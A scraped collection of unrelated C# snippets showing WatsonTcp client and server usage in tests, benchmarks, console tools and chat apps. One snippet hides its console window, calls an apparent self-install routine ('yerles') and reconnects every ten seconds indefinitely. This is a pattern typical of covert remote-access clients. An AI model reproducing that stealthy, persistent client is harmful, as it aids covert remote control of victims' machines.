static void Main(string[] args) { Task.Run(() => { WatsonTcpClient client = new WatsonTcpClient("10.1.2.3", 1234); // NonExistant Server client.Events.ServerConnected += ServerConnected; client.Events.ServerDisconnected += ServerDisconnected; client.Events.MessageReceived += MessageReceived; try { Console.WriteLine("Starting client"); client.Connect(); } catch (Exception ex) { Console.WriteLine("Exception: {0}", ex.Message); client.Dispose(); } }); Console.WriteLine("Waiting on NullReferenceException"); Thread.Sleep(10000); }
static void Main(string[] args) { var handle = GetConsoleWindow(); ShowWindow(handle, SW_HIDE); Thread.Sleep(10000); yerles(); eventtanimla(); baglanmayacalis: try { Console.WriteLine("Bağlanılıyor..."); //10 sn de bir bağlanmaya çalışıyor client.Connect(); //bağlanmaya çalışıyoruz } catch { Console.WriteLine("Bağlanılamadı."); Thread.Sleep(10000); goto baglanmayacalis; //bağlanamayınca geri dönüyoruz } Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); Console.ReadLine(); }
public static void Connect() { try { client = new WatsonTcpClient(settings.ServerIp, settings.ServerPort); client.Events.ServerConnected += ServerConnected; client.Events.ServerDisconnected += ServerDisconnected; client.Events.MessageReceived += MessageReceived; client.Connect(); } catch (Exception exp) { UCLogsViewModel.TextLogs.Value += "\n" + exp.Message; } }
/// <summary> /// Constructor that initializes Joined object based on given TCPSettings. /// </summary> /// <param name="c">TCPSettings for Joined work.</param> public Joined(TCPSettings c) { ts = c; msBeforeTimeOut = ts.msTimeout; clientH = new WatsonTcpClient(ts.ip, ts.port); clientH.Events.ServerConnected += JoinedConnected; clientH.Events.ServerDisconnected += JoinedDisconnected; clientH.Events.StreamReceived += StreamReceived; //clientH.Events.MessageReceived += MessageReceived; //clientH.Callbacks.SyncRequestReceived = SyncRequestReceived; FileScan(ts.directoryPath); clientH.Connect(); }
private void btnConectar_Click(object sender, RoutedEventArgs e) { try { client = new WatsonTcpClient(txtIp.Text, Convert.ToInt32(txtPorta.Text)); client.Events.ServerConnected += Events_ServerConnected; client.Events.ServerDisconnected += Events_ServerDisconnected; client.Events.MessageReceived += Events_MessageReceived; client.Connect(); } catch (Exception ex) { txtHistoricoMensagens.Text += $"Houve um error ao tentar se conectar: {ex.Message}{Environment.NewLine}"; } }
static void Main(string[] args) { try { _Client = new WatsonTcpClient("127.0.0.1", 9000); _Client.Events.MessageReceived += MessageReceived; _Client.Connect(); _Client.Send("Hello!"); _Client.Dispose(); } catch (Exception e) { Console.WriteLine(e.ToString()); } }
static void Main(string[] args) { if (args != null && args.Length == 2) { _MessageCount = Convert.ToInt32(args[0]); _EntryCount = Convert.ToInt32(args[1]); } _Stopwatches = new Stopwatch[_MessageCount]; using (WatsonTcpServer server = new WatsonTcpServer("127.0.0.1", _ServerPort)) { // server.Settings.DebugMessages = true; // server.Settings.Logger = ServerLogger; server.Events.MessageReceived += ServerMessageReceived; server.Start(); Console.WriteLine("Server started"); Task.Delay(1000).Wait(); using (WatsonTcpClient client = new WatsonTcpClient("127.0.0.1", _ServerPort)) { client.Events.MessageReceived += ClientMessageReceived; client.Connect(); Console.WriteLine("Client connected to server"); for (int i = 0; i < _MessageCount; i++) { Dictionary <object, object> md = new Dictionary <object, object>(); for (int j = 0; j < _EntryCount; j++) { Person p = new Person("hello", "world", i.ToString() + "." + j.ToString()); md.Add("person." + i.ToString() + "." + j.ToString(), p); } client.Send(i.ToString(), md); _Stopwatches[i] = new Stopwatch(); _Stopwatches[i].Start(); Console.WriteLine("Client sent message " + i); } } Console.WriteLine("Press ENTER to exit"); Console.ReadLine(); } }
public void SendMessage(string alias, string data, string ipport, string keypass) { var message = new Dictionary <object, object>(); MessageClient = new WatsonTcpClient(ipport.Split(':')[0], 4999); MessageClient.Events.MessageReceived += Events_MessageReceived1; message.Add("alias", crypto.StringCipher.Encrypt(alias)); message.Add("message", crypto.StringCipher.Encrypt(data)); message.Add("keypass", crypto.StringCipher.Encrypt(keypass)); message.Add("localkeypass", Settings.Default.keypass); MessageClient.Connect(); if (MessageClient.Connected) { MessageClient.Send("message", message); Messages.Add(new Message("To: " + alias, data, ipport.Split(':')[0] + ":" + 4999)); } }
private static void ClientTask() { using (WatsonTcpClient client = new WatsonTcpClient("localhost", serverPort)) { client.Events.ServerConnected += ClientServerConnected; client.Events.ServerDisconnected += ClientServerDisconnected; client.Events.MessageReceived += ClientMsgReceived; client.Connect(); for (int i = 0; i < numIterations; i++) { Task.Delay(rng.Next(0, 25)).Wait(); client.Send(data); } } Console.WriteLine("[client] finished"); }
private async void Test2ClientWorker(int clientNum) { try { long msgsSent = 0; long bytesSent = 0; using (WatsonTcpClient client = new WatsonTcpClient("127.0.0.1", 10000)) { client.Events.MessageReceived += Test2ClientMsgRcv; client.Connect(); for (int i = 0; i < _NumMessages; i++) { bool success = await client.SendAsync(_MsgBytes); if (success) { msgsSent++; bytesSent += _MsgBytes.Length; Interlocked.Increment(ref _MessagesSentSuccess); Interlocked.Increment(ref _MessagesProcessing); Interlocked.Add(ref _BytesSent, _MsgBytes.Length); } else { Interlocked.Increment(ref _MessagesSentFailed); } } } Interlocked.Decrement(ref _RunningTasks); Console.WriteLine("Client " + clientNum + " finished, sent " + msgsSent + " messages, " + bytesSent + " bytes"); } catch (Exception e) { Console.WriteLine("Exception: " + e.ToString()); } }
public void JoinServer(string name, string color) { var checkUser = Users.Find(existingUser => existingUser.Name.Equals(name)); if (checkUser != null) { throw new UserAlreadyExistsException(name); } var user = new User { Name = name, Color = color }; var payload = new JoinPayload(user.Name, user.Color); var serverPacket = new ServerPacket(ServerAction.Join, payload); _client.Connect(); _client.SendAsync(serverPacket.ToJson()); InvokeServerJoinEvent(); }
static void Main(string[] args) { using (WatsonTcpServer server = new WatsonTcpServer("127.0.0.1", 8000)) { server.Events.MessageReceived += ServerMessageReceived; server.Start(); Task.Delay(1000).Wait(); using (WatsonTcpClient client = new WatsonTcpClient("127.0.0.1", 8000)) { client.Events.MessageReceived += ClientMessageReceived; client.Connect(); for (int i = 0; i < 10; i++) { Person p = new Person("hello", "world", i); Dictionary <object, object> md = new Dictionary <object, object>(); md.Add("person", p); client.Send(("Message " + i), md); Task.Delay(1000).Wait(); } } } }
static void Main(string[] args) { _Client = new WatsonTcpClient("127.0.0.1", 9000); _Client.Events.MessageReceived += (s, e) => { Console.WriteLine(e.IpPort + ": " + Encoding.UTF8.GetString(e.Data)); }; while (true) { try { _Client.Connect(); Console.WriteLine(DateTime.UtcNow.ToString() + " Connected"); Task.Delay(_Random.Next(1000, 3000)).Wait(); _Client.Disconnect(); } catch (Exception e) { Console.WriteLine(DateTime.UtcNow.ToString() + " Failed: " + e.ToString()); } } }
private static void ClientTask() { Console.WriteLine("ClientTask entering"); using (WatsonTcpClient client = new WatsonTcpClient("localhost", serverPort)) { client.Events.ServerConnected += ClientServerConnected; client.Events.ServerDisconnected += ClientServerDisconnected; client.Events.MessageReceived += ClientMsgReceived; client.Connect(); while (!clientsStarted) { Thread.Sleep(100); } for (int i = 0; i < numIterations; i++) { Task.Delay(rng.Next(0, 1000)).Wait(); client.Send(data); } } Console.WriteLine("[client] finished"); }
public void Connect() { UIHandler.PlayColorfulBarAnimation(true); FileScan(ts.directoryPath); clientH.Connect(); }
private void button1_Click(object sender, EventArgs e) { _Client.Connect(); }
static void Main(string[] args) { server = new WatsonTcpServer("127.0.0.1", 9000); server.Events.ClientConnected += ServerClientConnected; server.Events.ClientDisconnected += ServerClientDisconnected; server.Events.MessageReceived += ServerMessageReceived; // server.StreamReceived = ServerStreamReceived; // server.Debug = true; server.Start(); client = new WatsonTcpClient("127.0.0.1", 9000); client.Events.ServerConnected += ServerConnected; client.Events.ServerDisconnected += ServerDisconnected; client.Events.MessageReceived += MessageReceived; // client.Events.StreamReceived = StreamReceived; // client.Debug = true; client.Connect(); int msgSize = (1024 * 128); Console.Write("Message size (default 128KB): "); string userInput = Console.ReadLine(); if (!String.IsNullOrEmpty(userInput)) { msgSize = Convert.ToInt32(userInput); } int msgCount = 4; Console.Write("Message count (default 4): "); userInput = Console.ReadLine(); if (!String.IsNullOrEmpty(userInput)) { msgCount = Convert.ToInt32(userInput); } Console.WriteLine(""); Console.WriteLine("---"); Console.WriteLine("Sending messages from client to server..."); for (int i = 0; i < msgCount; i++) { string randomString = RandomString(msgSize); string md5 = Md5(randomString); Console.WriteLine("Client sending " + msgSize + " bytes: MD5 " + md5); client.Send(Encoding.UTF8.GetBytes(randomString)); } Console.WriteLine(""); Console.WriteLine("---"); string ipPort = server.ListClients().ToList()[0]; Console.WriteLine("Sending messages from server to client " + ipPort + "..."); for (int i = 0; i < msgCount; i++) { string randomString = RandomString(msgSize); string md5 = Md5(randomString); Console.WriteLine("Server sending " + msgSize + " bytes: MD5 " + md5); server.Send(ipPort, randomString); } Console.WriteLine(""); Console.WriteLine("---"); Console.WriteLine("Press ENTER to exit"); Console.ReadLine(); }
public void Open() { client.Connect(); }
internal void RunTest() { try { using (WatsonTcpServer server = new WatsonTcpServer("127.0.0.1", 10000)) { server.Events.MessageReceived += Test1ServerMsgRcv; server.Start(); // server.Settings.Logger = ServerLogger; // server.Debug = true; using (WatsonTcpClient client = new WatsonTcpClient("127.0.0.1", 10000)) { client.Events.MessageReceived += Test1ClientMsgRcv; client.Connect(); _Stopwatch.Start(); for (int i = 0; i < _NumMessages; i++) { if (client.Send(_MsgBytes)) { Interlocked.Increment(ref _MessagesSentSuccess); Interlocked.Increment(ref _MessagesProcessing); Interlocked.Add(ref _BytesSent, _MessageSize); } else { Interlocked.Increment(ref _MessagesSentFailed); } } _Stopwatch.Stop(); decimal secondsTotal = _Stopwatch.ElapsedMilliseconds / 1000; if (secondsTotal < 1) { secondsTotal = 1; } Console.WriteLine("Messages sent after " + secondsTotal + " seconds"); while (_MessagesProcessing > 0) { Console.WriteLine("Waiting on " + _MessagesProcessing + " to complete processing (1 second pause)"); Thread.Sleep(1000); } Console.WriteLine(""); Console.WriteLine("Results:"); Console.WriteLine(" Messages sent successfully : " + _MessagesSentSuccess); Console.WriteLine(" Messages failed : " + _MessagesSentFailed); Console.WriteLine(" Bytes sent successfully : " + _BytesSent); Console.WriteLine(" Bytes received successfully : " + _BytesReceived); decimal bytesPerSecond = _BytesSent / secondsTotal; decimal kbPerSecond = bytesPerSecond / 1024; decimal mbPerSecond = kbPerSecond / 1024; Console.WriteLine(" Elapsed time sending (ms) : " + _Stopwatch.ElapsedMilliseconds + "ms"); Console.WriteLine(" Elapsed time sending (seconds) : " + decimal.Round(secondsTotal, 2) + "s"); Console.WriteLine(" Send bytes per second : " + decimal.Round(bytesPerSecond, 2) + "B/s"); Console.WriteLine(" Send kilobytes per second : " + decimal.Round(kbPerSecond, 2) + "kB/s"); Console.WriteLine(" Send megabytes per second : " + decimal.Round(mbPerSecond, 2) + "MB/s"); Console.WriteLine(""); } } } catch (Exception e) { Console.WriteLine("Exception: " + e.ToString()); } }
static void Main(string[] args) { using (server = new WatsonTcpServer(serverHostname, serverPort)) { server.Events.ClientConnected += (s, e) => { Console.WriteLine("Client connected to server: " + e.IpPort); clientIpPort = e.IpPort; }; server.Events.ClientDisconnected += (s, e) => { Console.WriteLine("Client disconnected from server: " + e.IpPort); clientIpPort = null; }; server.Events.MessageReceived += (s, e) => { Console.WriteLine("Server received message from client " + e.IpPort + ": " + Encoding.UTF8.GetString(e.Data)); }; server.Callbacks.SyncRequestReceived = delegate(SyncRequest req) { Console.WriteLine("Server received sync message from client " + req.IpPort + ": " + Encoding.UTF8.GetString(req.Data)); return(new SyncResponse(req, "Here's your response from the server!")); }; server.Settings.Logger = ServerLogger; server.Start(); using (client = new WatsonTcpClient(serverHostname, serverPort)) { client.Events.ServerConnected += (s, e) => { Console.WriteLine("Client connected to server"); }; client.Events.ServerDisconnected += (s, e) => { Console.WriteLine("Client disconnected from server"); }; client.Events.MessageReceived += (s, e) => { Console.WriteLine("Client received message from server: " + Encoding.UTF8.GetString(e.Data)); }; client.Callbacks.SyncRequestReceived = delegate(SyncRequest req) { Console.WriteLine("Client received sync message from server: " + Encoding.UTF8.GetString(req.Data)); return(new SyncResponse(req, "Here's your response from the client!")); }; client.Settings.Logger = ClientLogger; client.Connect(); while (true) { Task.Delay(5000).Wait(); Task.Run(() => ServerTask()); Task.Run(() => ClientTask()); } } } }
public void SendCommand() { if (CommandText != string.Empty && Keypass != string.Empty && IPAddress != string.Empty) { try { if (IsValidIP(IPAddress) && IPAddress != "127.0.0.1") { tcpClient = new WatsonTcpClient(IPAddress, Port); } else if (IPAddress.ToLower() == "localhost" || IPAddress == "127.0.0.1") { string ipAddress = string.Empty; if (IPAddress.ToLower() == "localhost") { var ipHost = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress ips in ipHost.AddressList) { if (IsValidIP(ips.ToString())) { ipAddress = ips.ToString(); break; } } } else { ipAddress = "127.0.0.1"; } if (ipAddress != string.Empty) { tcpClient = new WatsonTcpClient(ipAddress, Port); } else { throw new Exception(); } } else { string ipAddress = string.Empty; var ipHost = Dns.GetHostEntry(IPAddress); foreach (IPAddress ips in ipHost.AddressList) { if (IsValidIP(ips.ToString())) { ipAddress = ips.ToString(); break; } } if (ipAddress != string.Empty) { tcpClient = new WatsonTcpClient(ipAddress, Port); } else { throw new Exception(); } } tcpClient.Events.ServerConnected += Con_ConnectionEstablished; tcpClient.Events.ServerDisconnected += ClientConnectionContainer_ConnectionLost; tcpClient.Events.MessageReceived += Events_MessageReceived; var metaData = new Dictionary <object, object>(); metaData.Add("command", crypto.StringCipher.Encrypt(CommandText)); if (Argument == null) { metaData.Add("arguments", crypto.StringCipher.Encrypt(string.Empty)); } else { metaData.Add("arguments", crypto.StringCipher.Encrypt(Argument)); } metaData.Add("keypass", crypto.StringCipher.Encrypt(Keypass)); tcpClient.Connect(); if (tcpClient.Connected) { tcpClient.Send("command", metaData); } } catch (Exception ex) { MessageBox.Show(ex.Message); } } else { MessageBox.Show("Cannot send an incomplete command."); } }
private static void ClientToServer() { _Random = new Random((int)DateTime.Now.Ticks); _DataLargeBytes = InitByteArray(_DataLargeSize, 0x00); _DataLargeMd5 = BytesToHex(Md5(_DataLargeBytes)); _DataSmallBytes = InitByteArray(_DataSmallSize, 0x00); _DataSmallMd5 = BytesToHex(Md5(_DataSmallBytes)); Console.WriteLine("Large Data MD5: " + _DataLargeMd5); Console.WriteLine("Small Data MD5: " + _DataSmallMd5); Console.WriteLine("Starting in 3 seconds..."); _Server = new WatsonTcpServer(null, _ServerPort); _Server.Events.ClientConnected += ServerClientConnected; _Server.Events.ClientDisconnected += ServerClientDisconnected; if (!_UseStreams) { _Server.Events.MessageReceived += ServerMsgReceived; } else { _Server.Events.StreamReceived += ServerStreamReceived; } _Server.Callbacks.SyncRequestReceived = ServerSyncRequestReceived; _Server.Settings.MaxProxiedStreamSize = _MaxProxiedStreamSize; _Server.Settings.Logger = Console.WriteLine; _Server.Settings.DebugMessages = _Debug; _Server.Start(); Thread.Sleep(2000); _Client = new WatsonTcpClient("localhost", _ServerPort); _Client.Events.ServerConnected += ClientServerConnected; _Client.Events.ServerDisconnected += ClientServerDisconnected; if (!_UseStreams) { _Client.Events.MessageReceived += ClientMsgReceived; } else { _Client.Events.StreamReceived += ClientStreamReceived; } _Client.Callbacks.SyncRequestReceived = ClientSyncRequestReceived; _Client.Settings.MaxProxiedStreamSize = _MaxProxiedStreamSize; _Client.Settings.Logger = Console.WriteLine; _Client.Settings.DebugMessages = _Debug; _Client.Connect(); Thread.Sleep(2000); Console.WriteLine("Press ENTER to exit"); for (int i = 0; i < _ClientThreads; i++) { Console.WriteLine("Starting client thread " + i); Task.Run(() => ClientTask()); } Console.WriteLine("Press ENTER after completion to view statistics"); Console.ReadLine(); Console.WriteLine("Success: " + _Success); Console.WriteLine("Failure: " + _Failure); }
private static void Main(string[] args) { InitializeClient(); bool runForever = true; Dictionary <object, object> metadata; bool success; while (runForever) { string userInput = InputString("Command [? for help]:", null, false); switch (userInput) { case "?": Console.WriteLine("Available commands:"); Console.WriteLine(" ? help (this menu)"); Console.WriteLine(" q quit"); Console.WriteLine(" cls clear screen"); Console.WriteLine(" send send message to server"); Console.WriteLine(" send offset send message to server with offset"); Console.WriteLine(" send md send message with metadata to server"); Console.WriteLine(" sendasync send message to server asynchronously"); Console.WriteLine(" sendasync md send message with metadata to server asynchronously"); Console.WriteLine(" sendandwait send message and wait for a response"); Console.WriteLine(" sendempty send empty message with metadata"); Console.WriteLine(" sendandwait empty send empty message with metadata and wait for a response"); Console.WriteLine(" status show if client connected"); Console.WriteLine(" dispose dispose of the client"); Console.WriteLine(" connect connect to the server"); Console.WriteLine(" disconnect disconnect from the server"); Console.WriteLine(" psk set the preshared key"); Console.WriteLine(" auth authenticate using the preshared key"); Console.WriteLine(" stats display client statistics"); Console.WriteLine(" stats reset reset statistics other than start time and uptime"); Console.WriteLine(" debug enable/disable debug"); break; case "q": runForever = false; break; case "cls": Console.Clear(); break; case "send": userInput = InputString("Data:", null, false); if (!_Client.Send(Encoding.UTF8.GetBytes(userInput))) { Console.WriteLine("Failed"); } break; case "send offset": userInput = InputString("Data:", null, false); int offset = InputInteger("Offset:", 0, true, true); if (!_Client.Send(Encoding.UTF8.GetBytes(userInput), null, offset)) { Console.WriteLine("Failed"); } break; case "send md": userInput = InputString("Data:", null, false); metadata = InputDictionary(); if (!_Client.Send(Encoding.UTF8.GetBytes(userInput), metadata)) { Console.WriteLine("Failed"); } break; case "send md large": metadata = new Dictionary <object, object>(); for (int i = 0; i < 100000; i++) { metadata.Add(i, i); } if (!_Client.Send("Hello!", metadata)) { Console.WriteLine("Failed"); } break; case "sendasync": userInput = InputString("Data:", null, false); success = _Client.SendAsync(Encoding.UTF8.GetBytes(userInput)).Result; if (!success) { Console.WriteLine("Failed"); } break; case "sendasync md": userInput = InputString("Data:", null, false); metadata = InputDictionary(); success = _Client.SendAsync(Encoding.UTF8.GetBytes(userInput), metadata).Result; if (!success) { Console.WriteLine("Failed"); } break; case "sendandwait": SendAndWait(); break; case "sendempty": metadata = InputDictionary(); success = _Client.Send("", metadata); if (!success) { Console.WriteLine("Failed"); } break; case "sendandwait empty": SendAndWaitEmpty(); break; case "status": if (_Client == null) { Console.WriteLine("Connected: False (null)"); } else { Console.WriteLine("Connected: " + _Client.Connected); } break; case "dispose": _Client.Dispose(); break; case "connect": _Client.Connect(); break; case "disconnect": _Client.Disconnect(); break; case "psk": _PresharedKey = InputString("Preshared key:", "1234567812345678", false); break; case "auth": _Client.Authenticate(_PresharedKey); break; case "stats": Console.WriteLine(_Client.Statistics.ToString()); break; case "stats reset": _Client.Statistics.Reset(); break; case "debug": _Client.Settings.DebugMessages = !_Client.Settings.DebugMessages; Console.WriteLine("Debug set to: " + _Client.Settings.DebugMessages); break; default: break; } } }
private static void Main(string[] args) { serverIp = InputString("Server IP:", "127.0.0.1", false); serverPort = InputInteger("Server port:", 9000, true, false); useSsl = InputBoolean("Use SSL:", false); InitializeClient(); bool runForever = true; Dictionary <object, object> metadata; bool success; while (runForever) { Console.Write("Command [? for help]: "); string userInput = Console.ReadLine(); byte[] data = null; MemoryStream ms = null; if (String.IsNullOrEmpty(userInput)) { continue; } switch (userInput) { case "?": Console.WriteLine("Available commands:"); Console.WriteLine(" ? help (this menu)"); Console.WriteLine(" q quit"); Console.WriteLine(" cls clear screen"); Console.WriteLine(" send send message to server"); Console.WriteLine(" send md send message with metadata to server"); Console.WriteLine(" sendasync send message to server asynchronously"); Console.WriteLine(" sendasync md send message with metadata to server asynchronously"); Console.WriteLine(" sendandwait send message and wait for a response"); Console.WriteLine(" status show if client connected"); Console.WriteLine(" dispose dispose of the client"); Console.WriteLine(" connect connect to the server"); Console.WriteLine(" disconnect disconnect from the server"); Console.WriteLine(" psk set the preshared key"); Console.WriteLine(" auth authenticate using the preshared key"); Console.WriteLine(" debug enable/disable debug"); break; case "q": runForever = false; break; case "cls": Console.Clear(); break; case "send": Console.Write("Data: "); userInput = Console.ReadLine(); if (String.IsNullOrEmpty(userInput)) { break; } data = Encoding.UTF8.GetBytes(userInput); ms = new MemoryStream(data); success = client.Send(data.Length, ms); Console.WriteLine(success); break; case "send md": metadata = InputDictionary(); Console.Write("Data: "); userInput = Console.ReadLine(); if (String.IsNullOrEmpty(userInput)) { break; } data = Encoding.UTF8.GetBytes(userInput); ms = new MemoryStream(data); success = client.Send(data.Length, ms, metadata); Console.WriteLine(success); break; case "sendasync": Console.Write("Data: "); userInput = Console.ReadLine(); if (String.IsNullOrEmpty(userInput)) { break; } data = Encoding.UTF8.GetBytes(userInput); ms = new MemoryStream(data); success = client.SendAsync(data.Length, ms).Result; Console.WriteLine(success); break; case "sendasync md": metadata = InputDictionary(); Console.Write("Data: "); userInput = Console.ReadLine(); if (String.IsNullOrEmpty(userInput)) { break; } data = Encoding.UTF8.GetBytes(userInput); ms = new MemoryStream(data); success = client.SendAsync(data.Length, ms, metadata).Result; Console.WriteLine(success); break; case "sendandwait": SendAndWait(); break; case "status": if (client == null) { Console.WriteLine("Connected: False (null)"); } else { Console.WriteLine("Connected: " + client.Connected); } break; case "dispose": client.Dispose(); break; case "connect": client.Connect(); break; case "disconnect": client.Disconnect(); break; case "psk": presharedKey = InputString("Preshared key:", "1234567812345678", false); break; case "auth": client.Authenticate(presharedKey); break; case "debug": client.Settings.DebugMessages = !client.Settings.DebugMessages; Console.WriteLine("Debug set to: " + client.Settings.DebugMessages); break; default: break; } } }